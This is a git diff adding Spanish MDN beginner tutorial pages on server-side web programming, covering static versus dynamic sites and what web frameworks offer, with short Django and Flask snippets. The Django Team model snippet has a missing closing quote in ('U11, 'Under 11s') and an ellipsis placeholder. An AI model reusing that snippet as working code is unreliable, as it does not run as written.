+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">Visión general Cliente-Servidor</a></dt>
+ <dd>Ahora que conoces el propósito y beneficios potenciales de la programación lado-servidor examinaremos en detalle qué pasa cuando un servidor recibe una "petición dinámica" desde un explorador web. Como el código de lado-servidor de la mayoría de sitios web gestiona las peticiones y las respuestas de forma similar, ésto te ayudará entender qué necesitas hacer cuando escribes tu propio código.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Web_frameworks">Web frameworks de lado-servidor</a></dt>
+ <dd>El anterior artículo te mostró lo que necesita una aplicación web de lado servidor para responder a las peticiones de un explorador web. Ahora te mostraremos cómo los web frameworks pueden simplificar estas tareas y ayudarte a seleccionar el framework correcto para tu primera aplicación web de lado servidor.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web">Seguridad de Sitios Web</a></dt>
+ <dd>La seguridad de los sitios web requiere vigilancia en todos los aspectos del diseño y uso del sitio . Este artículo introductorio no te convertirá en un gurú de la seguridad de sitios web, pero te ayudará a entender los primeros pasos importantes que deber dar para robustecer tu aplicación web contra las amenazas más comunes.</dd>
+</dl>
+
+<h2 id="Evaluaciones">Evaluaciones</h2>
+
+<p>Este módulo "visión general" no hace ninguna evaluación ya que no te hemos enseñado ningún código todavía. Esperamos que en este punto tengas una comprensión de qué clase de funcionalidad puedes distribuir usando programación de lado servidor y habrás tomado una decisión sobre el web framework de lado servidor que usarás para crear tu primer sitio. </p>
diff --git a/files/es/learn/server-side/first_steps/introduction/index.html b/files/es/learn/server-side/first_steps/introduction/index.html
new file mode 100644
index 0000000000..0b0d2da59e
--- /dev/null
+++ b/files/es/learn/server-side/first_steps/introduction/index.html
@@ -0,0 +1,192 @@
+---
+title: Introducción al lado servidor
+slug: Learn/Server-side/Primeros_pasos/Introducción
+tags:
+  - Aprendizaje
+  - Codificación de scripts
+  - Guía
+  - Principiante
+  - Programación lado servidor
+  - Servidor
+  - introducción
+translation_of: Learn/Server-side/First_steps/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">¡Bienvenidos al curso MDN de programación para principiantes de lado servidor! En este primer artículo enfocamos la programación de Lado-Servidor desde un nivel alto, respondiendo a preguntas tales como "¿qué es?", "¿en qué se diferencia de la programación de Lado-Cliente?" y "¿porqué es tan útil?". Después de leer este artículo entenderás el poder adicional para los sitios web disponible a través de la codificación lado-servidor.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Nociones básicas de computación. Entender lo que es un servidor web.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Familiarizarse con lo que es la programación de lado servidor, qué puede hacer y en qué se diferencia de la programación de lado cliente.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La mayoría de los grandes sitios web usan código de lado servidor para presentar, cuando se necesitan, diferentes datos, generalmente extraidos de una base de datos almacenada en un servidor y enviada al cliente para ser presentada mediante algún código (ej, HTML y JavaScript). Quizá el beneficio más significativo de la codificación de lado servidor es que te permite confeccionar el contenido del sitio web para usuarios individuales. Los sitios dinámicos pueden resaltar contenido que es más relevante basándose en las preferencias del usuario y sus hábitos. Puede hacer también que los sitios sean más fáciles de usar al almacenar las preferencias personales y la información - por ejemplo reusando los detalles de la tarjeta de crédito guardados para agilizar los pagos siguientes. Puede incluso permitir la interacción con los usuarios fuera del sitio, enviando notificaciones y actualizaciones via email o a traves de otros canales. Todas estas capacidades permite un mayor compromiso con los usuarios. </p>
+
+<p>En el mundo moderno del desarrollo web, el aprendizaje sobre desarrollo de lado servidor es altamente recomendable.</p>
+
+<h2 id="¿Qué_es_la_programación_de_sitios_web_de_lado_servidor">¿Qué es la programación de sitios web de lado servidor?</h2>
+
+<p>Los exploradores web se comunican con los <a href="/es-ES/docs/Learn/Common_questions/What_is_a_web_server">servidores web</a> usando el Protocolo de Transporte de Hyper Texto (HyperText Transport Protocol ({{glossary("HTTP")}}). Cuando pinchas en un enlace en una página web, envías un formulario o ejecutas una búsqueda, se envía una peticion HTTP desde tu explorador web al servidor web de destino. La petición incluye un URL que identifica el recurso afectado, un método que define la acción requerida (por ejemplo, obtener, borrar o publicar el recurso), y puede incluir información adicional codificada en parámetros en el URL (los pares campo-valor enviados en una cadena de consulta (<a href="https://en.wikipedia.org/wiki/Query_string">query string</a>), como datos POST (datos enviados mediate el método POST de HTTP,  <a href="/es/docs/Web/HTTP/Methods/POST">HTTP POST method</a>), o en {{glossary("Cookie", "associated cookies")}}.</p>
+
+<p>Los servidores web esperan los mensajes de petición de los clientes, los procesan cuando llegan y responden al explorador web con un mensaje de respuesta HTTP. La repuesta contiene una línea de estado indicando si la petición ha tenido éxito o no (ej, "HTTP/1.1 200 OK" en caso de éxito). El cuerpo de una respuesta exitosa a una petición podría contener el resurso solicitado (ej, una nueva página HTML, o una imagen, etc...), que el explorador web podría presetar en pantalla.</p>
+
+<h3 id="Sitios_Estáticos">Sitios Estáticos</h3>
+
+<p>El diagrama de abajo muestra una arquitectura de servidor web básica correspondiente a un <em>sitio estático</em> (un sitio estático es aquél que devuelve desde el servidor el mismo contenido insertado en el código "hard coded" siempre que se solicita un recurso en particular). Cuando un usuario quiere navegar a una página, el explorador envía una petición HTTP "GET" especificando su URL. El servidor recupera de su sistema de ficheros el documento solicitado y devuelve una respuesta HTTP que contiene el documento y un <a href="/es/docs/Web/HTTP/Status#Successful_responses">estado de éxito "success status</a>" (normalmente 200 OK). Si el fichero no puede ser recuperado por alguna razón, se devuelve un estado de error (ver <a href="/es/docs/Web/HTTP/Status#Client_error_responses">respuestas de error del cliente</a> and <a href="/es/docs/Web/HTTP/Status#Server_error_responses">respuestas de error del servidor</a>).</p>
+
+<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png" style="height: 223px; width: 800px;"></p>
+
+<h3 id="Sitios_Dinámicos">Sitios Dinámicos</h3>
+
+<p>Un sitio dinámico es aquél en que algun contenido de la respuesta está generado <em>dinámicamente</em> sólo cuando se necesita. En un sitio web dinámico las páginas HTML se crean normalmente insertando datos desde una base en variables dentro de plantillas HTML (esta es una forma mucho más eficiente de almacenar gran cantidad de contenido que la que usan los sitios web estáticos). Un sitio dinámico puede devolver datos diferentes para un URL basados en la información proporcionada por el usuario o sus preferencias almacenadas y puede realizar otras operaciones como parte de la devolución de respuesta (ej, enviar notificaciones).</p>
+
+<p>La mayor parte del código para soportar un sitio web dinámico debe correr en el servidor. La creación de este código se conoce como "programación de lado-servidor" (o algunas veces "back-end scripting").</p>
+
+<p>El diagrama de abajo muestra una arquitectura simple para un<em>sitio web dinámico.</em> Como en el diagrama previo, los exploradores web envían peticiones HTTP al servidor, el servidor procesa a continuación las peticiones y devuelve las respuestas HTTP apropiadas. Las peticiones de recursos <em>estáticos</em> son gestionadas de la misma manera que para los <em>sitios estáticos</em> (los recursos estáticos son cualquier fichero que no cambia - generalmente: CSS, JavaScript, Imágenes, ficheros PDF creados previamente, etc...)</p>
+
+<p><img alt="A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview." src="https://mdn.mozillademos.org/files/13839/Web%20Application%20with%20HTML%20and%20Steps.png"></p>
+
+<p>Las peticiones de recursos dinámicos, por el contrario, son reenviadas (2) al código del lado-servidor (mostrado en el diagrama como <em>Web Application</em>). Para las "peticiones dinámicas" el servidor interpreta la petición, lee de la base de datos la información requerida (3), combina los datos recuperados con las plantillas HTML (4), y envía de vuelta una respuesta que contiene el HTML generado (5,6). </p>
+
+<div>
+<h2 id="¿Son_iguales_la_programación_del_lado-servidor_y_lado-cliente">¿Son iguales la programación del lado-servidor y lado-cliente?</h2>
+</div>
+
+<p>Prestemos ahora nuestra atención al código involucrado en la programación de lado-servidor y lado-cliente. En cada caso, el código es significativamente diferente:</p>
+
+<ul>
+ <li>Tienen diferentes propósitos y preocupaciones.</li>
+ <li>Por lo general no usan los mismos lenguajes de programación (siendo la excepción el JavaScript, que puede usarse tanto en lado servidor como en lado cliente).</li>
+ <li>Se ejecutan entornos de diferentes sistemas operativos.</li>
+</ul>
+
+<p>El código que se ejecuta en el explorador se conoce como código de lado-cliente, y su principal preocupación es la mejora de la apariencia y el comportamiento de una página web entregada. Esto incluye la selección y estilo de los componentes UI, la creación de layouts, navegación, validación de formularios, etc. Por otro lado, la programación de sitios web de lado servidor en su mayor parte implica la elección de <em>qué contenido</em> se ha de devolver al explorador como respuesta a sus peticiones. El código de lado-servidor gestiona tareas como la validación de los datos enviados y las peticiones, usando bases de datos para almacenar y recuperar datos, y enviando los datos correctos al cliente según se requiera.</p>
+
+<p>El código del lado cliente está escrito usando <a href="/es/docs/Learn/HTML">HTML</a>, <a href="/es/docs/Learn/CSS">CSS</a>, y <a href="/es/docs/Learn/JavaScript">JavaScript</a> — es ejecutado dentro del explorador web y tiene poco o ningún acceso al sistema operativo subyacente (incluyendo un acceso limitado al sistema de ficheros).</p>
+
+<p>Los desarrolladores web no pueden controlar qué explorador web usará cada usuario para visualizar un sitio web — los exploradores web proporcionan niveles de compatibilidad inconsistentes con las características de codificación lado cliente, y parte del reto de la programación de lado cliente es gestionar con dignidad las diferencias de soporte entre exploradores.</p>
+
+<div>El código del lado servidor puede escribirse en cualquier número de lenguajes de programación — ejemplos de lenguajes de programación populares incluyen PHP, Python, Ruby, C# y NodeJS(JavaScript). El código del lado servidor tiene acceso completo al sistema operativo del servidor y el desarrollador puede elegir qué lenguaje de programación (y qué versión específica) desea usar.</div>
+
+<div>Los desarrolladores generalmente escriben su código usando web frameworks. Los web framworks son colecciones de funciones, objetos, reglas y otras construcciones de código diseñadas para resolver problemas comunes, acelerar el desarrollo y simplificar los diferentes tipos de tareas que se han de abordar en un dominio en particular.</div>
+
+<div>De nuevo, mientras que, tanto el código lado cliente y el lado servidor usan frameworks, los dominios son muy diferentes, y por lo tanto también lo son los frameworks. Los frameworks del lado cliente simplifican los diseños y las tareas de presentación mientras que los del lado servidor proporcionan un montón de funcionalidades "comunes" que tendría que haber implementado uno mismo (ej, soporte para las sesiones, soporte para los usuarios y autenticación, acceso fácil a la base de datos, librerías de plantillas, etc...).</div>
+
+<div class="note">
+<p>Nota: Los frameworks del lado cliente se usan con frecuencia para acelerar el desarrollo del código del lado cliente, pero también se puede elegir escribir todo el código a mano; de hecho, escribir el código a mano puede ser más rápido y más eficiente si sólo se necesita una UI para sitio web pequeña y simple. Por contra, casi nunca se consideraría escribir el componente del lado servidor de una aplicación web ("web app") sin un framework — implementar una característica vital como un servidor HTTP es realmente difícil de hacer de la nada en un lenguaje como, por ejemplo, Python, pero los  web frameworks de Python como Django proporcionan uno  listo para usar, junto con otras herramientas muy útiles.</p>
+</div>
+
+<h2 id="¿Qué_se_puede_hacer_en_el_lado-servidor">¿Qué se puede hacer en el lado-servidor?</h2>
+
+<p>La programación del lado-servidor es muy útil porque nos permite distribuir <em>eficientemente</em> información a medida para usuarios individuales y por lo tanto crear una experiencia de usuario mucho mejor.</p>
+
+<p>Compañías como Amazon utilizan la programación del lado-servidor para construir resultados de búsquedas de productos, hacer sugerencias sobre productos escogidos basados en las preferencias del cliente y sus hábitos de compra previos, simplificar las adquisiciones, etc. Los bancos usan la programación del lado-servidor para almacenar la información sobre las cuentas y permitir ver y realizar transacciones sólo a los usuarios autorizados. Otros servicios como Facebook, Twitter, Instagram y Wikipedia usan la programación de lado-servidor para destacar, compartir y controlar el acceso al contenido interesante.</p>
+
+<p>Algunos de los usos y beneficios comunes de la programación de lado-servidor se lista debajo. Notarás que hay algo de solapamiento.</p>
+
+<h3 id="Almacenaje_y_distribución_eficiente_de_información">Almacenaje y distribución eficiente de información</h3>
+
+<p>Imagina cuántos productos están disponibles en Amazon, e imagina cuántas entradas se han escrito en Facebook. Crear una página estática separada para cada producto o entrada sería completamente ineficiente.</p>
+
+<p>La programación de lado-servidor nos permite por el contrario almacenar la información en una base de datos y construir dinámicamente y devolver ficheros HTML y de otros tipos (ej, PDFs, imágenes, etc.). También es posible devolver simplemente datos ({{glossary("JSON")}}, {{glossary("XML")}}, etc.) para presentar mediante los web frameworks adecuados del lado-cliente (esto reduce la carga de procesamiento del servidor y la cantidad de datos que se necesitan enviar).</p>
+
+<p>El servidor no se limita a enviar información de las bases de datos, y podría además devolver el resultado de herramientas de software o datos de servicios de comunicación. El contenido puede incluso ser dirigido por el tipo de dispositivo cliente que lo está recibiendo.</p>
+
+<p>Debido a que la información está en una base de datos, puede también ser compartida y actualizada con otros sistemas de negocio (por ejemplo, cuando se venden los productos online o en una tienda, la tienda debería actualizar su base de datos de inventario.</p>
+
+<div class="note">
+<p>Nota: Tu imaginación no tiene que trabajar duro para ver el beneficio de la codificación de lado-servidor para el almacenaje y distribución de información:</p>
+
+<ol>
+ <li>Vete a <a href="https://www.amazon.com">Amazon</a> o a cualquier otro sitio de comercio electrónico "e-commerce".</li>
+ <li>Busca por un número de palabras clave y nota como la estructura de la página no cambia, incluso aunque cambien los resultados. </li>
+ <li>Abre dos o tres productos diferentes. Fíjate de nuevo como tienen una estructura y diseño común, pero el contenido para los diferentes productos ha sido extraido de la base de datos.</li>
+</ol>
+
+<p>Para un término de búsqueda común (digamos "pez") puedes ver literalmente millones de valores retornados. Usar una base de datos permite que éstos sean almacenados y compartidos de forma eficiente, y permite que la presentación de la información esté controlada en un solo sitio.</p>
+</div>
+
+<h3 id="Experiencia_de_usuario_personalizada">Experiencia de usuario personalizada</h3>
+
+<p>Los servidores pueden almacenar y usar la información acerca de los clientes para proporcionar una experiencia de usuario conveniente y dirigida. Por ejemplo, muchos usuarios almacenan tarjetas de crédito de forma que los detalles no tienen que ser introducidos de nuevo. Sitios como Google Maps usan la localización de tu casa y la actual para proporcionar una información sobre la ruta a seguir y resaltar los negocios locales en los resultados de búsqueda.</p>
+
+<p>Un análisis profundo de los hábitos del usuario se puede usar para anticipar sus intereses y personalizar las respuestas y notificaciones futuras, proporcionando, por ejemplo, una lista de las localizaciones visitadas o populares que querrías buscar en un mapa.</p>
+
+<div class="note">
+<p>Nota: Vete a <a href="https://maps.google.com/">Google Maps</a> como usuario anónimo, selecciona el botón Direcciones, e introduce los puntos de partida y destino de un viaje. Ahora inicia sesión en el sistema con tu cuenta de Google, si tienes una (en el panel de abajo aparece información acerca de este proceso donde seleccionas direcciones). El sitio web te permitirá ahora seleccionar las localizaciones de casa y trabajo como puntos de partida y destino (o almacenar estos detalles si no lo has hecho así).</p>
+</div>
+
+<h3 id="Acceso_controlado_al_contenido">Acceso controlado al contenido </h3>
+
+<p>La programación de lado-servidor permite a los sitios restringir el acceso a usuarios autorizados y servir sólo la información que se le permite ver al usuario.</p>
+
+<p>Ejemplos del mundo real incluyen:</p>
+
+<ul>
+ <li>Redes sociales como Facebook permiten a los usuarios controlar totalmente sus propios datos pero permitiendo sólo a sus amigos ver o comentar sobre ellos. El usuario determina quien puede ver sus datos, y por extensión, los datos de quienes aparecen en sus notificaciones — autorización es una parte central de la experiencia de usuario!</li>
+ <li>
+  <p>El sitio en el que te encuentras ahora controla el acceso al contenido: los artículos son visibles a todos, pero sólo los usuarios que se han identificado pueden editar el contenido. Para comprobar ésto, pincha en el botón Edit en la parte superior de esta página — si te has identificado iniciando sesión se te mostrará la vista de edición; si no has iniciado sesión serás enviado a una página de registro.</p>
+ </li>
+</ul>
+
+<div class="note">
+<p>Nota: Considera otros ejemplos reales donde el acceso al contenido está controlado. Por ejemplo, ¿qué puedes ver si vas al sitio online de tu banco? Inicia sesión con tu cuenta — ¿qué información adicional puedes ver y modificar? ¿Qué información puedes ver y sólo el banco puede cambiar?</p>
+</div>
+
+<h3 id="Almacenar_información_de_sesiónestado">Almacenar información de sesión/estado</h3>
+
+<p>La programación de lado-servidor permite a los desarrolladores hacer uso de las sesiones — es básicamente un mecanismo que permite al servidor almacenar información sobre el usuario actual del sitio u enviar diferentes respuestas basadas en esa información. Esto permite, por ejemplo, que un sitio sepa que un usuario ha iniciado sesión previamente y presente enlaces a sus correos, o a su historial de órdenes, o quizá guardar el estado de un simple juego de forma que el usuario pueda volver al sitio de nuevo y retomar el juego donde lo dejó.</p>
+
+<div class="note">
+<p>Nota: Visita el sitio de un periódico que tenga un modelo de subscripción y abre un puñado de pestañas (ej, <a href="http://www.theage.com.au/">The Age</a>). Continua visitando el sitio durante unos pocos días/horas. En algún momento serás finalmente redirigido a las páginas que explican cómo suscribirte y se te impedirá el acceso a los artículos. Esta información es un ejemplo de información de sesión almacenada en cookies.</p>
+</div>
+
+<h3 id="Notificaciones_y_comunicación">Notificaciones y comunicación</h3>
+
+<p>Los servidores pueden enviar notificaciones de tipo general o específicas de usuario a través del propio sitio web o vía correo electrónico, SMS, mensajería instanténea, conversaciones de video u otros servicios de comunicación.</p>
+
+<p>Unos pocos ejemplos incluyen:</p>
+
+<ul>
+ <li>Facebook y Twitter envían mensajes de correoy SMS para notificarte de nuevas comunicaciones.</li>
+ <li>Amazon envía con regularidad emails que sugieren productos similares a aquellos comprados o vistos anteriormente y en los que podrías estar interesado.</li>
+ <li>Un servidor web podría enviar mensajes de aviso a los administradores del sistema alertandoles de memoria baja en el servidor o de actividades de usuario sospechosas.</li>
+</ul>
+
+<div class="note">
+<p>Nota: El tipo de notificación más común es una "confirmación de registro". Elige uno cualquiera de los grandes sitios en que estés interesado (Google, Amazon, Instagram, etc.) y crea una cuenta nueva usando tu dirección de correo. En breve recibirás un email de confirmación de registro, o solicitando un acuse de recibo para activar la cuenta.</p>
+</div>
+
+<h3 id="Análisis_de_datos">Análisis de datos</h3>
+
+<p>Un sitio web puede recolectar un montón de datos acerca de los usuarios: qué es lo que buscan, qué compran, qué recomiendan, cuánto tiempo permanecen en cada página. La programación de lado-servidor puede utilizarse para refinar las respuestas basándose en el análisis de estos datos.</p>
+
+<p>Por ejemplo, Amazon y Google anuncian ambos productos basados en búsquedas previas (y adquisiciones).</p>
+
+<div class="note">
+<p>Nota: Si eres usuario de Facebook vete a tu muro y hecha un ojo a la ristra de entradas. Fíjate como algunas de las entradas no están en orden numérico - en particular las entradas con más "me-gusta" están con frecuencia en lugares más altos de la lista que las entradas más recientes. Echa un ojo también a qué clase de anuncios te están mostrando — podrías ver anuncios de cosas que has mirado en otros sitios. El algoritmo de Facebook para resaltar contenido y anuncios puede ser un poco misterioso, pero está claro que lo que hace depende de lo que te gusta y de tus hábitos de visualización!</p>
+</div>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>Felicidades, has alcanzado el final de primer artículo sobre programación de lado-servidor. </p>
+
+<p>Ahora ya has aprendido que el código de lado-servidor se ejecuta en un servidor web y que su papel principal es controlar <em>qué </em>información se envía al usuario (mientras que el código de lado-cliente gestiona principalmente la estructura y presentación  de esos datos al usuario).</p>
+
+<p>También deberías comprender que es útil porque nos permite crear sitios web que distribuyen <em>de forma eficiente</em> información seleccionada dirigida a usuarios individuales y tener una buena idea de algunas de las cosas que podrías ser capaz de hacer cuando seas un programador de lado-servidor.</p>
+
+<p>Finalmente, deberías comprender que el código de lado-servidor se puede escribir en un gran número de lenguajes de programación y que deberías usar un web framework para hacer más fácil el proceso completo.</p>
+
+<p>En un artículo futuro te ayudaremos a escoger el mejor web framework para tu primer sitio; Aunque a continuación te llevaremos a través de las principales interacciones cliente-servidor en un poco más de detalle.</p>
+
+<p>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</p>
diff --git a/files/es/learn/server-side/first_steps/web_frameworks/index.html b/files/es/learn/server-side/first_steps/web_frameworks/index.html
new file mode 100644
index 0000000000..8c381a772e
--- /dev/null
+++ b/files/es/learn/server-side/first_steps/web_frameworks/index.html
@@ -0,0 +1,306 @@
+---
+title: Frameworks Web de lado servidor
+slug: Learn/Server-side/Primeros_pasos/Web_frameworks
+tags:
+  - Aprendizaje
+  - Codificación de scripts
+  - Frameworks web
+  - Guía
+  - Principiante
+  - Programación lado servidor
+  - Servidor
+  - introducción
+translation_of: Learn/Server-side/First_steps/Web_frameworks
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">El artículo anterior te mostró que pinta tiene la comunicación entre los clientes web y los servidores, la naturaleza de las peticiones y respuestas HTTP, y lo que necesita hacer una aplicación web de lado servidor para responder a las peticiones de un explorador web. Con este conocimiento en nuestra mochila, es hora de explorar cómo los frameworks web pueden simplificar estas tareas, y darte una idea de cómo escogerías un framework para tu primera aplicación web de lado servidor.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>
+    <p>Conocimientos de computación básicos. Comprensión de alto nivel de cómo gestiona y responde a las peticiones HTTP el código de lado servidor (ver <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">Visión general Cliente-Servidor</a>).</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>
+    <p>Entender cómo los frameworks web pueden simplificar el desarrollo/mantenimiento de código de lado servidor y conseguir que los lectores piensen sobre la elección del framework para su propio desarrollo.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Las siguientes secciones ilustran algunos puntos usando fragmentos de código tomados de frameworks web reales. No te preocupes si no todo tiene sentido ahora; te pondremos a trabajar sobre el código en nuestros módulos de framework específicos.</p>
+
+<h2 id="Visión_general">Visión general</h2>
+
+<p>Los frameworks de lado servidor (es decir, "los frameworks de aplicaciones web") son frameworks software que hacen más fácil escribir, mantener y escalar aplicaciones web. Proporcionan herramientas y bibliotecas que simplifican tareas comunes de desarrollo web, incluyendo enrutado de URLs a los manejadores apropiados, interactuación con bases de datos, soporte de sesiones y autorizaciones de usuario, formateado de la salida (ej, HTML, JSON, XML), y mejora de la seguridad contra los ataques web.</p>
+
+<p>La sección siguiente proporciona un poco más detalle sobre cómo los frameworks web pueden facilitar el desarrollo de aplicaciones web. Explicaremos a continuación algunos de los criterios que puedes usar para elegir un framework web, y luego hacer una lista de algunas de tus opciones.</p>
+
+<h2 id="¿Qué_puede_hacer_por_tí_un_framework_web">¿Qué puede hacer por tí un framework web?</h2>
+
+<p>Los frameworks web proporcionan herramientas y bibliotecas para simplificar operaciones comunes de desarrollo web. No <em>tienes</em> que usar un framework web de lado servidor, pero se recomienda encarecidamente — te hará la vida mucho más fácil.</p>
+
+<p>Esta sección debate algo de la funcionalidad que proporcionan con frecuencia los frameworks web (!no todo framework proporcionará necesariamente todas estas caracteríticas!)</p>
+
+<h3 id="Trabajar_directamente_con_peticiones_y_respuestas_HTTP">Trabajar directamente con peticiones y respuestas HTTP</h3>
+
+<p>Como vimos en el último artículo, los servidores web y los exploradores se comunican vía el protocolo HTTP — los servidores esperan las peticiones HTTP del explorador y devuelven información en respuestas HTTP. Los frameworks web te permiten escribir sintaxis simplificada que generará el código de lado servidor para trabajar con estas peticiones y respuestas. Esto significa que tendrás un trabajo más fácil, interacción más fácil, código de más alto nivel en vez de primitivas de red de bajo nivel.</p>
+
+<p>El ejemplo de más abajo muestra cómo funciona ésto en el framework web Django (Python). Cada función de visualización "view" (un manejador de peticiones) recibe un objeto <code>HttpRequest</code> que contiene información de petición, y se le pide devolver un objeto <code>HttpResponse</code> con la salida formateada (en este caso una cadena de texto).</p>
+
+<pre class="brush: python"># Django view function
+from django.http import HttpResponse
+
+def index(request):
+    # Get an HttpRequest (request)
+    # perform operations using information from the request.
+    # Return HttpResponse
+    return HttpResponse('Output string to return')
+</pre>
+
+<h3 id="Enrutado_de_peticiones_al_manejador_adecuado">Enrutado de peticiones al manejador adecuado</h3>
+
+<p>La mayoría de sitios proporcionan un gran número de recursos diferentes, accesibles a través de distintas URLs. La gestión de todo esto en una sola función sería difiicil de mantener, de manera que los frameworks web proporcionan mecanismos simples para mapear patrones URL a funciones de gestión específicas. Esta aproximación tiene también beneficios en términos de mantenimiento, porque puedes cambiar el URL que se usa para entregar una característica en particular sin tener que cambiar el código subyacente.</p>
+
+<p>Diferentes frameworks usan diferentes mencanismos para el mapeo. Por ejemplo, el framework web Flask (Python) añade rutas a las funciones de visualización usando un "decorador".</p>
+
+<pre class="brush: python">@app.route("/")
+def hello():
+    return "Hello World!"</pre>
+
+<p>Por el contrario Django espera que los desarrolladores definan una lista de mapeos URL entre un patrón URL y una función de visualización.</p>
+
+<pre class="brush: python">urlpatterns = [
+    url(r'^$', views.index),
+    # example: /best/myteamname/5/
+    url(r'^(?P&lt;team_name&gt;\w.+?)/(?P&lt;team_number&gt;[0-9]+)/$', views.best),
+]
+</pre>
+
+<h3 id="Fácil_acceso_a_los_datos_en_la_petición">Fácil acceso a los datos en la petición</h3>
+
+<p>Los datos pueden codificarse en una petición HTTP de muchas maneras. Una petición <code>GET</code> para recuperar ficheros o datos de un servidor puede codificar los datos que se necesitan en parámetros URL o dentro de una estructura URL. Una petición <code>POST</code> para actualizar un recurso en el servidor puede en cambio incluir la información de actualización como "datos POST" dentro del cuerpo de la petición. La petición HTTP puede también incluir información sobre la sesión o usuario actual en un cookie de lado cliente.</p>
+
+<p>Los frameworks web proporcionan mecanismos apropiados del lenguaje de programación para acceder a esta información. Por ejemplo, el objeto <code>HttpRequest</code>  que pasa Django a toda función de visualización contiene métodos y propiedades para acceder a la URL de destino, el tipo de petición (ej. HTTP <code>GET</code>), parámetros <code>GET</code>  o <code>POST</code>, cookie y datos de session, etc. Django puede también pasar información codificada en la estructura de la URL definiendo "patrones de captura" en el mapeador URL (mira el último fragmento de código de la sección de arriba).</p>
+
+<h3 id="Abstraer_y_simplificar_el_acceso_a_bases_de_datos">Abstraer y simplificar el acceso a bases de datos</h3>
+
+<p>Los sitios web utilizan bases de datos para almacenar información tanto para ser compartida con los usuarios como sobre los propios usuarios. Los frameworks web proporcionan frecuentemente una capa de base de datos que abstrae las operaciones de lectura, escritura, consulta y borrado de la base. Nos referimos a esta capa de abstracción como Mapeador de Objetos Relacionados (Object-Relational Mapper, ORM).</p>
+
+<p>Usar un ORM tiene dos beneficios:</p>
+
+<ul>
+ <li>Puedes reemplazar la base de datos subyacente sin tener necesariamente que cambiar el código que la usa: Esto permite a los desarrolladores optimizar las características de las diferentes bases de datos en función de su uso.</li>
+ <li>la validación básica de datos puede implementarse dentro del framework. Esto hace más fácil y seguro comprobar que los datos se almacenan en el campo correcto de la base, que tienen el formato adecuado (ej. una dirección de correo electrónico), y que no son maliciosos de ninguna manera (los craqueadores utilizan ciertos patrones de código para hacer cosas malas como borrar registros de las bases de datos).</li>
+</ul>
+
+<p>Por ejemplo, el framework web de Django proporciona un ORM, y utiliza la referencia del objeto usado para definir la estructura de un registro similar al <em>modelo</em>. El modelo especifica los <em>tipos</em> de campos que se almacenarán, lo que puede proporcionar una validación a nivel de campo sobre qué información se puede guardar (ej. un campo de email sólo permitiría direcciones válidas de correo electrónico). Las definiciones de campos pueden también especificar su tamaño máximo, etiquetas de texto para los formularios, etc. El modelo no establece ninguna información sobre la base de datos subyacente ya que ese es un ajuste de configuración que se puede cambiar de forma separada de nuestro código.</p>
+
+<p>El primer fragmento de código más abajo muestra un modelo de Django muy simple para un objeto <code>Team</code>. Éste almacena el nombre y nivel del equipo como campos de caracteres y especifica el número máximo de éstos que pueden almacenarse en cada registro. El <code>team_level</code> es un campo de selección, de manera que proporcionamos un mapeo entre las opciones a mostrar en pantalla y los datos a almacenar, junto con un valor por defecto.</p>
+
+<pre class="brush: python">#best/models.py
+
+from django.db import models
+
+class Team(models.Model):
+    team_name = models.CharField(max_length=40)
+
+    TEAM_LEVELS = (
+        ('U09', 'Under 09s'),
+        ('U10', 'Under 10s'),
+        ('U11, 'Under 11s'),
+        ...  #list our other teams
+    )
+    team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11')
+</pre>
+
+<p>El modelo de Django proporciona una API de consulta simple para buscar en la base de datos. Ésta puede comprobar coincidencias contra un gran número de campos al mismo tiempo usando diferentes criterios (ej. exacto, insensible a las mayúsculas, mayor que, etc.), y puede soportar sentencias complejas (por ejemplo, puedes especificar una búsqueda de equipos U11 que tengan un nombre de equipo que empiece por "Fr" or finalice con "al").</p>
+
+<p>El segundo fragmento de código muestra una función de visualización (manejador de recurso) para mostrar en pantalla todos nuestros equipos U09. En este caso especificamos que queremos filtrar todos los registros donde el campo <code>team_level</code> tenga exactamente el texto 'U09' (fíjate debajo cómo este criterio se pasa como argumento a la función <code>filter()</code> con el nombre de campo y tipo de coincidencia separados por guiones bajos dobles: <strong>team_level__exact</strong>).</p>
+
+<pre class="brush: python">#best/views.py
+
+from django.shortcuts import render
+from .models import Team
+
+def youngest(request):
+    <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong>
+    context = {'youngest_teams': list_teams}
+    return render(request, 'best/index.html', context)
+</pre>
+
+<dl>
+</dl>
+
+<h3 id="Renderización_de_datos">Renderización de datos</h3>
+
+<p>Los frameworks web proporcionan con frecuencia sistemas de plantillas. Éstas te permiten especificar la estructura de un documento de salida, usando marcadores de posición para los datos que serán añadidos cuando se genere la página. Las plantillas se usan con frecuencia para crear HTML, pero también pueden crear otros tipos de documentos.</p>
+
+<p>Los frameworks web proporcionan con frecuencia un mecanismo para facilitar la generación de otros formatos a partir de los datos almacenados, incluyendo {{glossary("JSON")}} y {{glossary("XML")}}.</p>
+
